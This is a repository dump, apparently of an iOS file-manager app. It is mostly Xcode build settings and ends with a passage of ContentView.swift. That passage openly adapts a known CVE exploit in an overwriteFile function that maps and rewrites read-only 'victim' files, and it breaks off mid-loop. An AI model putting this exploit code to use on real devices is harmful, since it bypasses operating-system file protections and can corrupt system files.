GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; 205 | GCC_WARN_UNUSED_FUNCTION = YES; 206 | GCC_WARN_UNUSED_VARIABLE = YES; 207 | IPHONEOS_DEPLOYMENT_TARGET = 15.0; 208 | MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE; 209 | MTL_FAST_MATH = YES; 210 | ONLY_ACTIVE_ARCH = YES; 211 | SDKROOT = iphoneos; 212 | SWIFT_ACTIVE_COMPILATION_CONDITIONS = DEBUG; 213 | SWIFT_OPTIMIZATION_LEVEL = "-Onone"; 214 | }; 215 | name = Debug; 216 | }; 217 | 6F2E69C0295CE65D007338D8 /* Release */ = { 218 | isa = XCBuildConfiguration; 219 | buildSettings = { 220 | ALWAYS_SEARCH_USER_PATHS = NO; 221 | CLANG_ANALYZER_NONNULL = YES; 222 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; 223 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++20"; 224 | CLANG_ENABLE_MODULES = YES; 225 | CLANG_ENABLE_OBJC_ARC = YES; 226 | CLANG_ENABLE_OBJC_WEAK = YES; 227 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; 228 | CLANG_WARN_BOOL_CONVERSION = YES; 229 | CLANG_WARN_COMMA = YES; 230 | CLANG_WARN_CONSTANT_CONVERSION = YES; 231 | CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; 232 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; 233 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES; 234 | CLANG_WARN_EMPTY_BODY = YES; 235 | CLANG_WARN_ENUM_CONVERSION = YES; 236 | CLANG_WARN_INFINITE_RECURSION = YES; 237 | CLANG_WARN_INT_CONVERSION = YES; 238 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; 239 | CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; 240 | CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; 241 | CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; 242 | CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES; 243 | CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; 244 | CLANG_WARN_STRICT_PROTOTYPES = YES; 245 | CLANG_WARN_SUSPICIOUS_MOVE = YES; 246 | CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; 247 | CLANG_WARN_UNREACHABLE_CODE = YES; 248 | CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; 249 | COPY_PHASE_STRIP = NO; 250 | DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; 251 | ENABLE_NS_ASSERTIONS = NO; 252 | ENABLE_STRICT_OBJC_MSGSEND = YES; 253 | GCC_C_LANGUAGE_STANDARD = gnu11; 254 | GCC_NO_COMMON_BLOCKS = YES; 255 | GCC_WARN_64_TO_32_BIT_CONVERSION = YES; 256 | GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; 257 | GCC_WARN_UNDECLARED_SELECTOR = YES; 258 | GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; 259 | GCC_WARN_UNUSED_FUNCTION = YES; 260 | GCC_WARN_UNUSED_VARIABLE = YES; 261 | IPHONEOS_DEPLOYMENT_TARGET = 15.0; 262 | MTL_ENABLE_DEBUG_INFO = NO; 263 | MTL_FAST_MATH = YES; 264 | SDKROOT = iphoneos; 265 | SWIFT_COMPILATION_MODE = wholemodule; 266 | SWIFT_OPTIMIZATION_LEVEL = "-O"; 267 | VALIDATE_PRODUCT = YES; 268 | }; 269 | name = Release; 270 | }; 271 | 6F2E69C2295CE65D007338D8 /* Debug */ = { 272 | isa = XCBuildConfiguration; 273 | buildSettings = { 274 | ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; 275 | ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor; 276 | CLANG_ENABLE_MODULES = YES; 277 | CODE_SIGN_STYLE = Automatic; 278 | CURRENT_PROJECT_VERSION = 1; 279 | DEVELOPMENT_ASSET_PATHS = "\"files/Preview Content\""; 280 | DEVELOPMENT_TEAM = M485NQ89DK; 281 | ENABLE_PREVIEWS = YES; 282 | GENERATE_INFOPLIST_FILE = YES; 283 | INFOPLIST_KEY_UIApplicationSceneManifest_Generation = YES; 284 | INFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents = YES; 285 | INFOPLIST_KEY_UILaunchScreen_Generation = YES; 286 | INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight"; 287 | INFOPLIST_KEY_UISupportedInterfaceOrientations_iPhone = "UIInterfaceOrientationPortrait UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight"; 288 | IPHONEOS_DEPLOYMENT_TARGET = 15.0; 289 | LD_RUNPATH_SEARCH_PATHS = ( 290 | "$(inherited)", 291 | "@executable_path/Frameworks", 292 | ); 293 | MARKETING_VERSION = 1.0; 294 | PRODUCT_BUNDLE_IDENTIFIER = com.mineek.files; 295 | PRODUCT_NAME = "$(TARGET_NAME)"; 296 | SWIFT_EMIT_LOC_STRINGS = YES; 297 | SWIFT_OBJC_BRIDGING_HEADER = "files/files-Bridging-Header.h"; 298 | SWIFT_OPTIMIZATION_LEVEL = "-Onone"; 299 | SWIFT_VERSION = 5.0; 300 | TARGETED_DEVICE_FAMILY = "1,2"; 301 | }; 302 | name = Debug; 303 | }; 304 | 6F2E69C3295CE65D007338D8 /* Release */ = { 305 | isa = XCBuildConfiguration; 306 | buildSettings = { 307 | ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; 308 | ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor; 309 | CLANG_ENABLE_MODULES = YES; 310 | CODE_SIGN_STYLE = Automatic; 311 | CURRENT_PROJECT_VERSION = 1; 312 | DEVELOPMENT_ASSET_PATHS = "\"files/Preview Content\""; 313 | DEVELOPMENT_TEAM = M485NQ89DK; 314 | ENABLE_PREVIEWS = YES; 315 | GENERATE_INFOPLIST_FILE = YES; 316 | INFOPLIST_KEY_UIApplicationSceneManifest_Generation = YES; 317 | INFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents = YES; 318 | INFOPLIST_KEY_UILaunchScreen_Generation = YES; 319 | INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight"; 320 | INFOPLIST_KEY_UISupportedInterfaceOrientations_iPhone = "UIInterfaceOrientationPortrait UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight"; 321 | IPHONEOS_DEPLOYMENT_TARGET = 15.0; 322 | LD_RUNPATH_SEARCH_PATHS = ( 323 | "$(inherited)", 324 | "@executable_path/Frameworks", 325 | ); 326 | MARKETING_VERSION = 1.0; 327 | PRODUCT_BUNDLE_IDENTIFIER = com.mineek.files; 328 | PRODUCT_NAME = "$(TARGET_NAME)"; 329 | SWIFT_EMIT_LOC_STRINGS = YES; 330 | SWIFT_OBJC_BRIDGING_HEADER = "files/files-Bridging-Header.h"; 331 | SWIFT_VERSION = 5.0; 332 | TARGETED_DEVICE_FAMILY = "1,2"; 333 | }; 334 | name = Release; 335 | }; 336 | /* End XCBuildConfiguration section */ 337 | 338 | /* Begin XCConfigurationList section */ 339 | 6F2E69AE295CE65B007338D8 /* Build configuration list for PBXProject "files" */ = { 340 | isa = XCConfigurationList; 341 | buildConfigurations = ( 342 | 6F2E69BF295CE65D007338D8 /* Debug */, 343 | 6F2E69C0295CE65D007338D8 /* Release */, 344 | ); 345 | defaultConfigurationIsVisible = 0; 346 | defaultConfigurationName = Release; 347 | }; 348 | 6F2E69C1295CE65D007338D8 /* Build configuration list for PBXNativeTarget "files" */ = { 349 | isa = XCConfigurationList; 350 | buildConfigurations = ( 351 | 6F2E69C2295CE65D007338D8 /* Debug */, 352 | 6F2E69C3295CE65D007338D8 /* Release */, 353 | ); 354 | defaultConfigurationIsVisible = 0; 355 | defaultConfigurationName = Release; 356 | }; 357 | /* End XCConfigurationList section */ 358 | }; 359 | rootObject = 6F2E69AB295CE65B007338D8 /* Project object */; 360 | } 361 | -------------------------------------------------------------------------------- /files/ContentView.swift: -------------------------------------------------------------------------------- 1 | // 2 | // ContentView.swift 3 | // files 4 | // 5 | // Created by Mineek on 28/12/2022. 6 | // 7 | 8 | import SwiftUI 9 | 10 | // A elegant file manager for CVE-2022-446689 11 | 12 | // Structs 13 | struct File: Identifiable { 14 | var id = UUID() 15 | var name: String 16 | var type: String 17 | var size: String 18 | var date: String 19 | } 20 | 21 | struct Folder: Identifiable { 22 | var id = UUID() 23 | var name: String 24 | var contents: [File] 25 | } 26 | 27 | // the main magic: the CVE 28 | // based on: https://github.com/zhuowei/WDBFontOverwrite/blob/main/WDBFontOverwrite/OverwriteFontImpl.swift#L34 29 | func overwriteFile(fileDataLocked: Data, pathtovictim: String) -> Bool { 30 | var fileData = fileDataLocked 31 | let fd = open(pathtovictim, O_RDONLY | O_CLOEXEC) 32 | NSLog("Path to victim: \(pathtovictim)") 33 | if fd == -1 { 34 | print("can't open font?!") 35 | return false 36 | } 37 | defer { close(fd) } 38 | let originalFileSize = lseek(fd, 0, SEEK_END) 39 | guard originalFileSize >= fileData.count else { 40 | print("font too big!") 41 | return false 42 | } 43 | lseek(fd, 0, SEEK_SET) 44 | 45 | NSLog("data: \(fileData)") 46 | 47 | let fileMap = mmap(nil, fileData.count, PROT_READ, MAP_SHARED, fd, 0) 48 | if fileMap == MAP_FAILED { 49 | print("can't mmap font?!") 50 | return false 51 | } 52 | guard mlock(fileMap, fileData.count) == 0 else { 53 | print("can't mlock") 54 | return false 55 | } 56 | 57 | print(Date()) 58 | for chunkOff in stride(from: 0, to: fileData.count, by: 0x4000) { 59 | print(String(format: "%lx", chunkOff)) 60 | // we only rewrite 16383 bytes out of every 16384 bytes. 61 | let dataChunk = fileData[chunkOff..